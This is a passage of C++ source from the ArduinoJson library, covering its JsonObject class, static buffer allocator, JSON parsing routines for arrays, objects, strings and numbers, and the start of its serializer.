TValueRef>\r\n  bool add_impl(TValueRef value) {\r\n    iterator it = Internals::List<JsonVariant>::add();\r\n    if (it == end()) return false;\r\n    return Internals::ValueSaver<TValueRef>::save(_buffer, *it, value);\r\n  }\r\n};\r\nnamespace Internals {\r\ntemplate <>\r\nstruct JsonVariantDefault<JsonArray> {\r\n  static JsonArray &get() {\r\n    return JsonArray::invalid();\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nstruct JsonPair {\r\n  const char* key;\r\n  JsonVariant value;\r\n};\r\n}  // namespace ArduinoJson\r\n#define JSON_OBJECT_SIZE(NUMBER_OF_ELEMENTS) \\\r\n  (sizeof(JsonObject) + (NUMBER_OF_ELEMENTS) * sizeof(JsonObject::node_type))\r\nnamespace ArduinoJson {\r\nclass JsonArray;\r\nclass JsonBuffer;\r\nnamespace Internals {\r\ntemplate <typename>\r\nclass JsonObjectSubscript;\r\n}\r\nclass JsonObject : public Internals::JsonPrintable<JsonObject>,\r\n                   public Internals::ReferenceType,\r\n                   public Internals::NonCopyable,\r\n                   public Internals::List<JsonPair>,\r\n                   public Internals::JsonBufferAllocated {\r\n public:\r\n  explicit JsonObject(JsonBuffer* buffer) throw()\r\n      : Internals::List<JsonPair>(buffer) {}\r\n  template <typename TString>\r\n  Internals::JsonObjectSubscript<const TString&> operator[](\r\n      const TString& key) {\r\n    return Internals::JsonObjectSubscript<const TString&>(*this, key);\r\n  }\r\n  template <typename TString>\r\n  Internals::JsonObjectSubscript<TString*> operator[](TString* key) {\r\n    return Internals::JsonObjectSubscript<TString*>(*this, key);\r\n  }\r\n  template <typename TString>\r\n  const Internals::JsonObjectSubscript<const TString&> operator[](\r\n      const TString& key) const {\r\n    return Internals::JsonObjectSubscript<const TString&>(\r\n        *const_cast<JsonObject*>(this), key);\r\n  }\r\n  template <typename TString>\r\n  const Internals::JsonObjectSubscript<TString*> operator[](\r\n      TString* key) const {\r\n    return Internals::JsonObjectSubscript<TString*>(\r\n        *const_cast<JsonObject*>(this), key);\r\n  }\r\n  template <typename TValue, typename TString>\r\n  bool set(const TString& key, const TValue& value) {\r\n    return set_impl<const TString&, const TValue&>(key, value);\r\n  }\r\n  template <typename TValue, typename TString>\r\n  bool set(const TString& key, TValue* value) {\r\n    return set_impl<const TString&, TValue*>(key, value);\r\n  }\r\n  template <typename TValue, typename TString>\r\n  bool set(TString* key, const TValue& value) {\r\n    return set_impl<TString*, const TValue&>(key, value);\r\n  }\r\n  template <typename TValue, typename TString>\r\n  bool set(TString* key, TValue* value) {\r\n    return set_impl<TString*, TValue*>(key, value);\r\n  }\r\n  template <typename TValue, typename TString>\r\n  DEPRECATED(\"Second argument is not supported anymore\")\r\n  typename Internals::EnableIf<Internals::IsFloatingPoint<TValue>::value,\r\n                               bool>::type\r\n      set(const TString& key, TValue value, uint8_t) {\r\n    return set_impl<const TString&, const JsonVariant&>(key,\r\n                                                        JsonVariant(value));\r\n  }\r\n  template <typename TValue, typename TString>\r\n  DEPRECATED(\"Second argument is not supported anymore\")\r\n  typename Internals::EnableIf<Internals::IsFloatingPoint<TValue>::value,\r\n                               bool>::type\r\n      set(TString* key, TValue value, uint8_t) {\r\n    return set_impl<TString*, const JsonVariant&>(key, JsonVariant(value));\r\n  }\r\n  template <typename TValue, typename TString>\r\n  typename Internals::JsonVariantAs<TValue>::type get(\r\n      const TString& key) const {\r\n    return get_impl<const TString&, TValue>(key);\r\n  }\r\n  template <typename TValue, typename TString>\r\n  typename Internals::JsonVariantAs<TValue>::type get(TString* key) const {\r\n    return get_impl<TString*, TValue>(key);\r\n  }\r\n  template <typename TValue, typename TString>\r\n  bool is(const TString& key) const {\r\n    return is_impl<const TString&, TValue>(key);\r\n  }\r\n  template <typename TValue, typename TString>\r\n  bool is(TString* key) const {\r\n    return is_impl<TString*, TValue>(key);\r\n  }\r\n  template <typename TString>\r\n  JsonArray& createNestedArray(const TString& key) {\r\n    return createNestedArray_impl<const TString&>(key);\r\n  }\r\n  template <typename TString>\r\n  JsonArray& createNestedArray(TString* key) {\r\n    return createNestedArray_impl<TString*>(key);\r\n  }\r\n  template <typename TString>\r\n  JsonObject& createNestedObject(const TString& key) {\r\n    return createNestedObject_impl<const TString&>(key);\r\n  }\r\n  template <typename TString>\r\n  JsonObject& createNestedObject(TString* key) {\r\n    return createNestedObject_impl<TString*>(key);\r\n  }\r\n  template <typename TString>\r\n  bool containsKey(const TString& key) const {\r\n    return findKey<const TString&>(key) != end();\r\n  }\r\n  template <typename TString>\r\n  bool containsKey(TString* key) const {\r\n    return findKey<TString*>(key) != end();\r\n  }\r\n  template <typename TString>\r\n  void remove(const TString& key) {\r\n    remove(findKey<const TString&>(key));\r\n  }\r\n  template <typename TString>\r\n  void remove(TString* key) {\r\n    remove(findKey<TString*>(key));\r\n  }\r\n  using Internals::List<JsonPair>::remove;\r\n  static JsonObject& invalid() {\r\n    static JsonObject instance(NULL);\r\n    return instance;\r\n  }\r\n private:\r\n  template <typename TStringRef>\r\n  iterator findKey(TStringRef key) {\r\n    iterator it;\r\n    for (it = begin(); it != end(); ++it) {\r\n      if (Internals::StringTraits<TStringRef>::equals(key, it->key)) break;\r\n    }\r\n    return it;\r\n  }\r\n  template <typename TStringRef>\r\n  const_iterator findKey(TStringRef key) const {\r\n    return const_cast<JsonObject*>(this)->findKey<TStringRef>(key);\r\n  }\r\n  template <typename TStringRef, typename TValue>\r\n  typename Internals::JsonVariantAs<TValue>::type get_impl(\r\n      TStringRef key) const {\r\n    const_iterator it = findKey<TStringRef>(key);\r\n    return it != end() ? it->value.as<TValue>()\r\n                       : Internals::JsonVariantDefault<TValue>::get();\r\n  }\r\n  template <typename TStringRef, typename TValueRef>\r\n  bool set_impl(TStringRef key, TValueRef value) {\r\n    if (Internals::StringTraits<TStringRef>::is_null(key)) return false;\r\n    iterator it = findKey<TStringRef>(key);\r\n    if (it == end()) {\r\n      it = Internals::List<JsonPair>::add();\r\n      if (it == end()) return false;\r\n      bool key_ok =\r\n          Internals::ValueSaver<TStringRef>::save(_buffer, it->key, key);\r\n      if (!key_ok) return false;\r\n    }\r\n    return Internals::ValueSaver<TValueRef>::save(_buffer, it->value, value);\r\n  }\r\n  template <typename TStringRef, typename TValue>\r\n  bool is_impl(TStringRef key) const {\r\n    const_iterator it = findKey<TStringRef>(key);\r\n    return it != end() ? it->value.is<TValue>() : false;\r\n  }\r\n  template <typename TStringRef>\r\n  JsonArray& createNestedArray_impl(TStringRef key);\r\n  template <typename TStringRef>\r\n  JsonObject& createNestedObject_impl(TStringRef key);\r\n};\r\nnamespace Internals {\r\ntemplate <>\r\nstruct JsonVariantDefault<JsonObject> {\r\n  static JsonObject& get() {\r\n    return JsonObject::invalid();\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass StaticJsonBufferBase : public JsonBufferBase<StaticJsonBufferBase> {\r\n public:\r\n  class String {\r\n   public:\r\n    String(StaticJsonBufferBase* parent) : _parent(parent) {\r\n      _start = parent->_buffer + parent->_size;\r\n    }\r\n    void append(char c) {\r\n      if (_parent->canAlloc(1)) {\r\n        char* last = static_cast<char*>(_parent->doAlloc(1));\r\n        *last = c;\r\n      }\r\n    }\r\n    const char* c_str() const {\r\n      if (_parent->canAlloc(1)) {\r\n        char* last = static_cast<char*>(_parent->doAlloc(1));\r\n        *last = '\\0';\r\n        return _start;\r\n      } else {\r\n        return NULL;\r\n      }\r\n    }\r\n   private:\r\n    StaticJsonBufferBase* _parent;\r\n    char* _start;\r\n  };\r\n  StaticJsonBufferBase(char* buffer, size_t capa)\r\n      : _buffer(buffer), _capacity(capa), _size(0) {}\r\n  size_t capacity() const {\r\n    return _capacity;\r\n  }\r\n  size_t size() const {\r\n    return _size;\r\n  }\r\n  virtual void* alloc(size_t bytes) {\r\n    alignNextAlloc();\r\n    if (!canAlloc(bytes)) return NULL;\r\n    return doAlloc(bytes);\r\n  }\r\n  void clear() {\r\n    _size = 0;\r\n  }\r\n  String startString() {\r\n    return String(this);\r\n  }\r\n protected:\r\n  ~StaticJsonBufferBase() {}\r\n private:\r\n  void alignNextAlloc() {\r\n    _size = round_size_up(_size);\r\n  }\r\n  bool canAlloc(size_t bytes) const {\r\n    return _size + bytes <= _capacity;\r\n  }\r\n  void* doAlloc(size_t bytes) {\r\n    void* p = &_buffer[_size];\r\n    _size += bytes;\r\n    return p;\r\n  }\r\n  char* _buffer;\r\n  size_t _capacity;\r\n  size_t _size;\r\n};\r\n}  // namespace Internals\r\n#if defined(__clang__)\r\n#pragma clang diagnostic push\r\n#pragma clang diagnostic ignored \"-Wnon-virtual-dtor\"\r\n#elif defined(__GNUC__)\r\n#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)\r\n#pragma GCC diagnostic push\r\n#endif\r\n#pragma GCC diagnostic ignored \"-Wnon-virtual-dtor\"\r\n#endif\r\ntemplate <size_t CAPACITY>\r\nclass StaticJsonBuffer : public Internals::StaticJsonBufferBase {\r\n public:\r\n  explicit StaticJsonBuffer()\r\n      : Internals::StaticJsonBufferBase(_buffer, CAPACITY) {}\r\n private:\r\n  char _buffer[CAPACITY];\r\n};\r\n}  // namespace ArduinoJson\r\n#if defined(__clang__)\r\n#pragma clang diagnostic pop\r\n#elif defined(__GNUC__)\r\n#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)\r\n#pragma GCC diagnostic pop\r\n#endif\r\n#endif\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TInput>\r\nvoid skipSpacesAndComments(TInput& input) {\r\n  for (;;) {\r\n    switch (input.current()) {\r\n      case ' ':\r\n      case '\\t':\r\n      case '\\r':\r\n      case '\\n':\r\n        input.move();\r\n        continue;\r\n      case '/':\r\n        switch (input.next()) {\r\n          case '*':\r\n            input.move();  // skip '/'\r\n            for (;;) {\r\n              input.move();\r\n              if (input.current() == '\\0') return;\r\n              if (input.current() == '*' && input.next() == '/') {\r\n                input.move();  // skip '*'\r\n                input.move();  // skip '/'\r\n                break;\r\n              }\r\n            }\r\n            break;\r\n          case '/':\r\n            for (;;) {\r\n              input.move();\r\n              if (input.current() == '\\0') return;\r\n              if (input.current() == '\\n') break;\r\n            }\r\n            break;\r\n          default:\r\n            return;\r\n        }\r\n        break;\r\n      default:\r\n        return;\r\n    }\r\n  }\r\n}\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\ntemplate <typename TReader, typename TWriter>\r\ninline bool ArduinoJson::Internals::JsonParser<TReader, TWriter>::eat(\r\n    TReader &reader, char charToSkip) {\r\n  skipSpacesAndComments(reader);\r\n  if (reader.current() != charToSkip) return false;\r\n  reader.move();\r\n  return true;\r\n}\r\ntemplate <typename TReader, typename TWriter>\r\ninline bool\r\nArduinoJson::Internals::JsonParser<TReader, TWriter>::parseAnythingTo(\r\n    JsonVariant *destination) {\r\n  skipSpacesAndComments(_reader);\r\n  switch (_reader.current()) {\r\n    case '[':\r\n      return parseArrayTo(destination);\r\n    case '{':\r\n      return parseObjectTo(destination);\r\n    default:\r\n      return parseStringTo(destination);\r\n  }\r\n}\r\ntemplate <typename TReader, typename TWriter>\r\ninline ArduinoJson::JsonArray &\r\nArduinoJson::Internals::JsonParser<TReader, TWriter>::parseArray() {\r\n  if (_nestingLimit == 0) return JsonArray::invalid();\r\n  _nestingLimit--;\r\n  JsonArray &array = _buffer->createArray();\r\n  if (!eat('[')) goto ERROR_MISSING_BRACKET;\r\n  if (eat(']')) goto SUCCESS_EMPTY_ARRAY;\r\n  for (;;) {\r\n    JsonVariant value;\r\n    if (!parseAnythingTo(&value)) goto ERROR_INVALID_VALUE;\r\n    if (!array.add(value)) goto ERROR_NO_MEMORY;\r\n    if (eat(']')) goto SUCCES_NON_EMPTY_ARRAY;\r\n    if (!eat(',')) goto ERROR_MISSING_COMMA;\r\n  }\r\nSUCCESS_EMPTY_ARRAY:\r\nSUCCES_NON_EMPTY_ARRAY:\r\n  _nestingLimit++;\r\n  return array;\r\nERROR_INVALID_VALUE:\r\nERROR_MISSING_BRACKET:\r\nERROR_MISSING_COMMA:\r\nERROR_NO_MEMORY:\r\n  return JsonArray::invalid();\r\n}\r\ntemplate <typename TReader, typename TWriter>\r\ninline bool ArduinoJson::Internals::JsonParser<TReader, TWriter>::parseArrayTo(\r\n    JsonVariant *destination) {\r\n  JsonArray &array = parseArray();\r\n  if (!array.success()) return false;\r\n  *destination = array;\r\n  return true;\r\n}\r\ntemplate <typename TReader, typename TWriter>\r\ninline ArduinoJson::JsonObject &\r\nArduinoJson::Internals::JsonParser<TReader, TWriter>::parseObject() {\r\n  if (_nestingLimit == 0) return JsonObject::invalid();\r\n  _nestingLimit--;\r\n  JsonObject &object = _buffer->createObject();\r\n  if (!eat('{')) goto ERROR_MISSING_BRACE;\r\n  if (eat('}')) goto SUCCESS_EMPTY_OBJECT;\r\n  for (;;) {\r\n    const char *key = parseString();\r\n    if (!key) goto ERROR_INVALID_KEY;\r\n    if (!eat(':')) goto ERROR_MISSING_COLON;\r\n    JsonVariant value;\r\n    if (!parseAnythingTo(&value)) goto ERROR_INVALID_VALUE;\r\n    if (!object.set(key, value)) goto ERROR_NO_MEMORY;\r\n    if (eat('}')) goto SUCCESS_NON_EMPTY_OBJECT;\r\n    if (!eat(',')) goto ERROR_MISSING_COMMA;\r\n  }\r\nSUCCESS_EMPTY_OBJECT:\r\nSUCCESS_NON_EMPTY_OBJECT:\r\n  _nestingLimit++;\r\n  return object;\r\nERROR_INVALID_KEY:\r\nERROR_INVALID_VALUE:\r\nERROR_MISSING_BRACE:\r\nERROR_MISSING_COLON:\r\nERROR_MISSING_COMMA:\r\nERROR_NO_MEMORY:\r\n  return JsonObject::invalid();\r\n}\r\ntemplate <typename TReader, typename TWriter>\r\ninline bool ArduinoJson::Internals::JsonParser<TReader, TWriter>::parseObjectTo(\r\n    JsonVariant *destination) {\r\n  JsonObject &object = parseObject();\r\n  if (!object.success()) return false;\r\n  *destination = object;\r\n  return true;\r\n}\r\ntemplate <typename TReader, typename TWriter>\r\ninline const char *\r\nArduinoJson::Internals::JsonParser<TReader, TWriter>::parseString() {\r\n  typename RemoveReference<TWriter>::type::String str = _writer.startString();\r\n  skipSpacesAndComments(_reader);\r\n  char c = _reader.current();\r\n  if (isQuote(c)) {  // quotes\r\n    _reader.move();\r\n    char stopChar = c;\r\n    for (;;) {\r\n      c = _reader.current();\r\n      if (c == '\\0') break;\r\n      _reader.move();\r\n      if (c == stopChar) break;\r\n      if (c == '\\\\') {\r\n        c = Encoding::unescapeChar(_reader.current());\r\n        if (c == '\\0') break;\r\n        _reader.move();\r\n      }\r\n      str.append(c);\r\n    }\r\n  } else {  // no quotes\r\n    for (;;) {\r\n      if (!canBeInNonQuotedString(c)) break;\r\n      _reader.move();\r\n      str.append(c);\r\n      c = _reader.current();\r\n    }\r\n  }\r\n  return str.c_str();\r\n}\r\ntemplate <typename TReader, typename TWriter>\r\ninline bool ArduinoJson::Internals::JsonParser<TReader, TWriter>::parseStringTo(\r\n    JsonVariant *destination) {\r\n  bool hasQuotes = isQuote(_reader.current());\r\n  const char *value = parseString();\r\n  if (value == NULL) return false;\r\n  if (hasQuotes) {\r\n    *destination = value;\r\n  } else {\r\n    *destination = RawJson(value);\r\n  }\r\n  return true;\r\n}\r\n#ifdef _MSC_VER\r\n#pragma warning(push)\r\n#pragma warning(disable : 4522)\r\n#endif\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass JsonArraySubscript : public JsonVariantBase<JsonArraySubscript> {\r\n public:\r\n  FORCE_INLINE JsonArraySubscript(JsonArray& array, size_t index)\r\n      : _array(array), _index(index) {}\r\n  FORCE_INLINE JsonArraySubscript& operator=(const JsonArraySubscript& src) {\r\n    _array.set(_index, src);\r\n    return *this;\r\n  }\r\n  template <typename T>\r\n  FORCE_INLINE JsonArraySubscript& operator=(const T& src) {\r\n    _array.set(_index, src);\r\n    return *this;\r\n  }\r\n  template <typename T>\r\n  FORCE_INLINE JsonArraySubscript& operator=(T* src) {\r\n    _array.set(_index, src);\r\n    return *this;\r\n  }\r\n  FORCE_INLINE bool success() const {\r\n    return _index < _array.size();\r\n  }\r\n  template <typename T>\r\n  FORCE_INLINE typename JsonVariantAs<T>::type as() const {\r\n    return _array.get<T>(_index);\r\n  }\r\n  template <typename T>\r\n  FORCE_INLINE bool is() const {\r\n    return _array.is<T>(_index);\r\n  }\r\n  template <typename TValue>\r\n  FORCE_INLINE bool set(const TValue& value) {\r\n    return _array.set(_index, value);\r\n  }\r\n  template <typename TValue>\r\n  FORCE_INLINE bool set(TValue* value) {\r\n    return _array.set(_index, value);\r\n  }\r\n  template <typename TValue>\r\n  DEPRECATED(\"Second argument is not supported anymore\")\r\n  FORCE_INLINE bool set(const TValue& value, uint8_t) {\r\n    return _array.set(_index, value);\r\n  }\r\n private:\r\n  JsonArray& _array;\r\n  const size_t _index;\r\n};\r\ntemplate <typename TImpl>\r\ninline JsonArraySubscript JsonVariantSubscripts<TImpl>::operator[](\r\n    size_t index) {\r\n  return impl()->template as<JsonArray>()[index];\r\n}\r\ntemplate <typename TImpl>\r\ninline const JsonArraySubscript JsonVariantSubscripts<TImpl>::operator[](\r\n    size_t index) const {\r\n  return impl()->template as<JsonArray>()[index];\r\n}\r\n#if ARDUINOJSON_ENABLE_STD_STREAM\r\ninline std::ostream& operator<<(std::ostream& os,\r\n                                const JsonArraySubscript& source) {\r\n  return source.printTo(os);\r\n}\r\n#endif\r\n}  // namespace Internals\r\ninline Internals::JsonArraySubscript JsonArray::operator[](size_t index) {\r\n  return Internals::JsonArraySubscript(*this, index);\r\n}\r\ninline const Internals::JsonArraySubscript JsonArray::operator[](\r\n    size_t index) const {\r\n  return Internals::JsonArraySubscript(*const_cast<JsonArray*>(this), index);\r\n}\r\n}  // namespace ArduinoJson\r\n#ifdef _MSC_VER\r\n#pragma warning(pop)\r\n#endif\r\nnamespace ArduinoJson {\r\ninline JsonArray &JsonArray::createNestedArray() {\r\n  if (!_buffer) return JsonArray::invalid();\r\n  JsonArray &array = _buffer->createArray();\r\n  add(array);\r\n  return array;\r\n}\r\ninline JsonObject &JsonArray::createNestedObject() {\r\n  if (!_buffer) return JsonObject::invalid();\r\n  JsonObject &object = _buffer->createObject();\r\n  add(object);\r\n  return object;\r\n}\r\n}  // namespace ArduinoJson\r\ninline ArduinoJson::JsonArray &ArduinoJson::JsonBuffer::createArray() {\r\n  JsonArray *ptr = new (this) JsonArray(this);\r\n  return ptr ? *ptr : JsonArray::invalid();\r\n}\r\ninline ArduinoJson::JsonObject &ArduinoJson::JsonBuffer::createObject() {\r\n  JsonObject *ptr = new (this) JsonObject(this);\r\n  return ptr ? *ptr : JsonObject::invalid();\r\n}\r\n#ifdef _MSC_VER\r\n#pragma warning(push)\r\n#pragma warning(disable : 4522)\r\n#endif\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TStringRef>\r\nclass JsonObjectSubscript\r\n    : public JsonVariantBase<JsonObjectSubscript<TStringRef> > {\r\n  typedef JsonObjectSubscript<TStringRef> this_type;\r\n public:\r\n  FORCE_INLINE JsonObjectSubscript(JsonObject& object, TStringRef key)\r\n      : _object(object), _key(key) {}\r\n  FORCE_INLINE this_type& operator=(const this_type& src) {\r\n    _object.set(_key, src);\r\n    return *this;\r\n  }\r\n  template <typename TValue>\r\n  FORCE_INLINE typename EnableIf<!IsArray<TValue>::value, this_type&>::type\r\n  operator=(const TValue& src) {\r\n    _object.set(_key, src);\r\n    return *this;\r\n  }\r\n  template <typename TValue>\r\n  FORCE_INLINE this_type& operator=(TValue* src) {\r\n    _object.set(_key, src);\r\n    return *this;\r\n  }\r\n  FORCE_INLINE bool success() const {\r\n    return _object.containsKey(_key);\r\n  }\r\n  template <typename TValue>\r\n  FORCE_INLINE typename JsonVariantAs<TValue>::type as() const {\r\n    return _object.get<TValue>(_key);\r\n  }\r\n  template <typename TValue>\r\n  FORCE_INLINE bool is() const {\r\n    return _object.is<TValue>(_key);\r\n  }\r\n  template <typename TValue>\r\n  FORCE_INLINE typename EnableIf<!IsArray<TValue>::value, bool>::type set(\r\n      const TValue& value) {\r\n    return _object.set(_key, value);\r\n  }\r\n  template <typename TValue>\r\n  FORCE_INLINE bool set(const TValue* value) {\r\n    return _object.set(_key, value);\r\n  }\r\n  template <typename TValue>\r\n  DEPRECATED(\"Second argument is not supported anymore\")\r\n  FORCE_INLINE bool set(const TValue& value, uint8_t) {\r\n    return _object.set(_key, value);\r\n  }\r\n private:\r\n  JsonObject& _object;\r\n  TStringRef _key;\r\n};\r\n#if ARDUINOJSON_ENABLE_STD_STREAM\r\ntemplate <typename TStringRef>\r\ninline std::ostream& operator<<(std::ostream& os,\r\n                                const JsonObjectSubscript<TStringRef>& source) {\r\n  return source.printTo(os);\r\n}\r\n#endif\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#ifdef _MSC_VER\r\n#pragma warning(pop)\r\n#endif\r\nnamespace ArduinoJson {\r\ntemplate <typename TStringRef>\r\ninline JsonArray &JsonObject::createNestedArray_impl(TStringRef key) {\r\n  if (!_buffer) return JsonArray::invalid();\r\n  JsonArray &array = _buffer->createArray();\r\n  set(key, array);\r\n  return array;\r\n}\r\ntemplate <typename TStringRef>\r\ninline JsonObject &JsonObject::createNestedObject_impl(TStringRef key) {\r\n  if (!_buffer) return JsonObject::invalid();\r\n  JsonObject &object = _buffer->createObject();\r\n  set(key, object);\r\n  return object;\r\n}\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ninline bool isdigit(char c) {\r\n  return '0' <= c && c <= '9';\r\n}\r\ninline bool issign(char c) {\r\n  return '-' == c || c == '+';\r\n}\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ninline bool isFloat(const char* s) {\r\n  if (!s) return false;\r\n  if (!strcmp(s, \"NaN\")) return true;\r\n  if (issign(*s)) s++;\r\n  if (!strcmp(s, \"Infinity\")) return true;\r\n  if (*s == '\\0') return false;\r\n  while (isdigit(*s)) s++;\r\n  if (*s == '.') {\r\n    s++;\r\n    while (isdigit(*s)) s++;\r\n  }\r\n  if (*s == 'e' || *s == 'E') {\r\n    s++;\r\n    if (issign(*s)) s++;\r\n    if (!isdigit(*s)) return false;\r\n    while (isdigit(*s)) s++;\r\n  }\r\n  return *s == '\\0';\r\n}\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ninline bool isInteger(const char* s) {\r\n  if (!s || !*s) return false;\r\n  if (issign(*s)) s++;\r\n  while (isdigit(*s)) s++;\r\n  return *s == '\\0';\r\n}\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\ninline T parseFloat(const char* s) {\r\n  typedef FloatTraits<T> traits;\r\n  typedef typename traits::mantissa_type mantissa_t;\r\n  typedef typename traits::exponent_type exponent_t;\r\n  if (!s) return 0;  // NULL\r\n  bool negative_result = false;\r\n  switch (*s) {\r\n    case '-':\r\n      negative_result = true;\r\n      s++;\r\n      break;\r\n    case '+':\r\n      s++;\r\n      break;\r\n  }\r\n  if (*s == 't') return 1;  // true\r\n  if (*s == 'n' || *s == 'N') return traits::nan();\r\n  if (*s == 'i' || *s == 'I')\r\n    return negative_result ? -traits::inf() : traits::inf();\r\n  mantissa_t mantissa = 0;\r\n  exponent_t exponent_offset = 0;\r\n  while (isdigit(*s)) {\r\n    if (mantissa < traits::mantissa_max / 10)\r\n      mantissa = mantissa * 10 + (*s - '0');\r\n    else\r\n      exponent_offset++;\r\n    s++;\r\n  }\r\n  if (*s == '.') {\r\n    s++;\r\n    while (isdigit(*s)) {\r\n      if (mantissa < traits::mantissa_max / 10) {\r\n        mantissa = mantissa * 10 + (*s - '0');\r\n        exponent_offset--;\r\n      }\r\n      s++;\r\n    }\r\n  }\r\n  int exponent = 0;\r\n  if (*s == 'e' || *s == 'E') {\r\n    s++;\r\n    bool negative_exponent = false;\r\n    if (*s == '-') {\r\n      negative_exponent = true;\r\n      s++;\r\n    } else if (*s == '+') {\r\n      s++;\r\n    }\r\n    while (isdigit(*s)) {\r\n      exponent = exponent * 10 + (*s - '0');\r\n      if (exponent + exponent_offset > traits::exponent_max) {\r\n        if (negative_exponent)\r\n          return negative_result ? -0.0f : 0.0f;\r\n        else\r\n          return negative_result ? -traits::inf() : traits::inf();\r\n      }\r\n      s++;\r\n    }\r\n    if (negative_exponent) exponent = -exponent;\r\n  }\r\n  exponent += exponent_offset;\r\n  T result = traits::make_float(static_cast<T>(mantissa), exponent);\r\n  return negative_result ? -result : result;\r\n}\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nT parseInteger(const char *s) {\r\n  if (!s) return 0;  // NULL\r\n  if (*s == 't') return 1;  // \"true\"\r\n  T result = 0;\r\n  bool negative_result = false;\r\n  switch (*s) {\r\n    case '-':\r\n      negative_result = true;\r\n      s++;\r\n      break;\r\n    case '+':\r\n      s++;\r\n      break;\r\n  }\r\n  while (isdigit(*s)) {\r\n    result = T(result * 10 + T(*s - '0'));\r\n    s++;\r\n  }\r\n  return negative_result ? T(~result + 1) : result;\r\n}\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\ninline JsonVariant::JsonVariant(const JsonArray &array) {\r\n  if (array.success()) {\r\n    _type = Internals::JSON_ARRAY;\r\n    _content.asArray = const_cast<JsonArray *>(&array);\r\n  } else {\r\n    _type = Internals::JSON_UNDEFINED;\r\n    _content.asArray = 0;  // <- prevent warning 'maybe-uninitialized'\r\n  }\r\n}\r\ninline JsonVariant::JsonVariant(const JsonObject &object) {\r\n  if (object.success()) {\r\n    _type = Internals::JSON_OBJECT;\r\n    _content.asObject = const_cast<JsonObject *>(&object);\r\n  } else {\r\n    _type = Internals::JSON_UNDEFINED;\r\n    _content.asObject = 0;  // <- prevent warning 'maybe-uninitialized'\r\n  }\r\n}\r\ninline JsonArray &JsonVariant::variantAsArray() const {\r\n  if (_type == Internals::JSON_ARRAY) return *_content.asArray;\r\n  return JsonArray::invalid();\r\n}\r\ninline JsonObject &JsonVariant::variantAsObject() const {\r\n  if (_type == Internals::JSON_OBJECT) return *_content.asObject;\r\n  return JsonObject::invalid();\r\n}\r\ntemplate <typename T>\r\ninline T JsonVariant::variantAsInteger() const {\r\n  using namespace Internals;\r\n  switch (_type) {\r\n    case JSON_UNDEFINED:\r\n      return 0;\r\n    case JSON_POSITIVE_INTEGER:\r\n    case JSON_BOOLEAN:\r\n      return T(_content.asInteger);\r\n    case JSON_NEGATIVE_INTEGER:\r\n      return T(~_content.asInteger + 1);\r\n    case JSON_STRING:\r\n    case JSON_UNPARSED:\r\n      return parseInteger<T>(_content.asString);\r\n    default:\r\n      return T(_content.asFloat);\r\n  }\r\n}\r\ninline const char *JsonVariant::variantAsString() const {\r\n  using namespace Internals;\r\n  if (_type == JSON_UNPARSED && _content.asString &&\r\n      !strcmp(\"null\", _content.asString))\r\n    return NULL;\r\n  if (_type == JSON_STRING || _type == JSON_UNPARSED) return _content.asString;\r\n  return NULL;\r\n}\r\ntemplate <typename T>\r\ninline T JsonVariant::variantAsFloat() const {\r\n  using namespace Internals;\r\n  switch (_type) {\r\n    case JSON_UNDEFINED:\r\n      return 0;\r\n    case JSON_POSITIVE_INTEGER:\r\n    case JSON_BOOLEAN:\r\n      return static_cast<T>(_content.asInteger);\r\n    case JSON_NEGATIVE_INTEGER:\r\n      return -static_cast<T>(_content.asInteger);\r\n    case JSON_STRING:\r\n    case JSON_UNPARSED:\r\n      return parseFloat<T>(_content.asString);\r\n    default:\r\n      return static_cast<T>(_content.asFloat);\r\n  }\r\n}\r\ninline bool JsonVariant::variantIsBoolean() const {\r\n  using namespace Internals;\r\n  if (_type == JSON_BOOLEAN) return true;\r\n  if (_type != JSON_UNPARSED || _content.asString == NULL) return false;\r\n  return !strcmp(_content.asString, \"true\") ||\r\n         !strcmp(_content.asString, \"false\");\r\n}\r\ninline bool JsonVariant::variantIsInteger() const {\r\n  using namespace Internals;\r\n  return _type == JSON_POSITIVE_INTEGER || _type == JSON_NEGATIVE_INTEGER ||\r\n         (_type == JSON_UNPARSED && isInteger(_content.asString));\r\n}\r\ninline bool JsonVariant::variantIsFloat() const {\r\n  using namespace Internals;\r\n  return _type == JSON_FLOAT || _type == JSON_POSITIVE_INTEGER ||\r\n         _type == JSON_NEGATIVE_INTEGER ||\r\n         (_type == JSON_UNPARSED && isFloat(_content.asString));\r\n}\r\n#if ARDUINOJSON_ENABLE_STD_STREAM\r\ninline std::ostream &operator<<(std::ostream &os, const JsonVariant &source) {\r\n  return source.printTo(os);\r\n}\r\n#endif\r\n}  // namespace ArduinoJson\r\ntemplate <typename Writer>\r\ninline void ArduinoJson::Internals::JsonSerializer<Writer>::serialize(\r\n    const JsonArray& array, Writer& writer) {\r\n  writer.beginArray();\r\n  JsonArray::const_iterator it = array.begin();\r\n  while (it != array.end()) {\r\n    serialize(*it, writer);\r\n    ++it;\r\n    if (it == array.end()) break;\r\n    writer.writeComma();\r\n  }\r\n  writer.endArray();\r\n}\r\ntemplate <typename Writer>\r\ninline void ArduinoJson::Internals::JsonSerializer<Writer>::serialize(\r\n    const JsonArraySubscript& arraySubscript, Writer& writer) {\r\n  serialize(arraySubscript.as<JsonVariant>(), 